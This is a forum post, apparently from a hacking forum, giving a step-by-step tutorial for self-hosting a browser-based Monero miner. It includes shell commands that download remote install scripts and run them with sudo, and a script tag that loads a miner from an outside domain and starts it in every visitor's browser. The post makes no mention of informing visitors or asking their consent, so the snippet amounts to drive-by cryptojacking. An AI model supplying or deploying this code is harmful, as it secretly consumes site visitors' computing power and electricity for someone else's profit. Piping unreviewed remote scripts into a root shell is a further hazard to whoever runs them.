ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
Home
Upgrade
Credits
Help
Search
Awards
Achievements
 1752

[Tutorial] How to make your own Web Miner

by Ibiza - 02-28-2018 - 02:27 AM
#1
So this miner is supposedly based off of Coinhive, but this will be running on your server and will have no fees.

Warning (I am not the developer but the software is completely Open-source Here on Github)

So first get a new server ( A VPS is fine ) DO NOT USE GCP (Google Cloud Platform) your server will get shutdown and they will charge you for it.

Start by installing Nodejs & NPM


Code:
sudo apt-get update
sudo apt-get install nodejs
sudo apt-get install npm


Next install Nginx


Code:
sudo apt-get install nginx

Now you are going to install the Miner (Make sure you have your Monero wallet address and mining pool information at the ready)


Code:
curl https://raw.githubusercontent.com/deepwn/deepMiner/master/install.sh > install.sh
sudo sh install.sh

After you set that up make sure your site is using HTTPS
If not use LetsEncrypt and set it up

Now in order to add this to your pages user the following code


Code:
<script src="https://digxmr.com/deepMiner.js"></script>
<script>
   var miner = new deepMiner.Anonymous('deepMiner_test').start();
</script>

Then change the domain to your own. Happy Mining!

If you are wanting to modify the javascript that is on your site to change the mining preferences it follows the same API Here

If you are interested in Mining Bytecoin instead of Monero I created a script that is for Bytecoin.party (0 Fee Mining Pool)

Code:
curl https://raw.githubusercontent.com/schlarmanorg/Bytecoin.party-Web-Miner/master/install.sh > install.sh
sudo sh install.sh
Reply

Users browsing: 1 Guest(s)